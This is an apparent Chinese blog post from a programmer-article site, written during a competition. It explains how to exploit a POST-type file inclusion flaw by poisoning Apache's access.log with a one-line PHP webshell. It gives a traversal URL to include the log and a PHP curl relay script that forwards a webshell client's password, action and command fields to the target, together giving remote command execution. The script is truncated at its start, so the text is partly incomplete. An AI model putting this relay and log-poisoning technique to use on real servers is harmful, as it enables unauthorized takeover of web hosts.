欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

POST型文件包含漏洞之一句话利用

程序员文章站 2024-01-11 17:47:46
...
最近在忙比赛,碰到了一个文件包含漏洞,通过包含apache的access.log中的一句话,使用CKnife进行连接,但是Get型是十分轻松的,直接 http://xxx/FilesIn.php?filename=../apache/logs/access.log 进行包含利用就行了。但是当遇到这样的文件保护漏洞。

上面的办法是完全没有效果的,本身菜刀,C刀的配置参数中也不支持POST选项,所以这好好的漏洞岂不是浪费了?通过之前的Cookies注入中的Cookies中转注入思想,写了一个简易的脚本(以C刀为例)。

首先我们先给日志写入一句话。

然后我们可以在靶机上查看一下是否上传成功。

ok

创建如下脚本:

'../Apache/logs/access.log');if(isset($_POST["CRoot"]))//此处CRoot改为你的密码{ $tmp = array('CRoot'=>$_POST["CRoot"]);//此处CRoot改为你的密码 $data += $tmp;}if(isset($_POST["action"])){ $tmp = array('action'=>$_POST["action"]); $data += $tmp;}if(isset($_POST['z1'])){ $tmp = array('z1'=>$_POST["z1"]); $data += $tmp;}//$data = array('filename'=>'../Apache/logs/access.log','CRoot'=>$postdata,'action'=$_POST["action"],'z1'=$_POST['z1']);//var_dump($data);$data = http_build_query($data);$curl = curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_POST, 1);curl_setopt($curl, CURLOPT_POSTFIELDS, $data);$rtdata = curl_exec($curl);curl_close($curl);echo $rtdata;?>

打开C刀

本地搭建PHP服务器进行连接。测试效果

OK.本次仅仅对PHP类型的文件管理进行了中转处理,其他管理功能可能支持的不大好。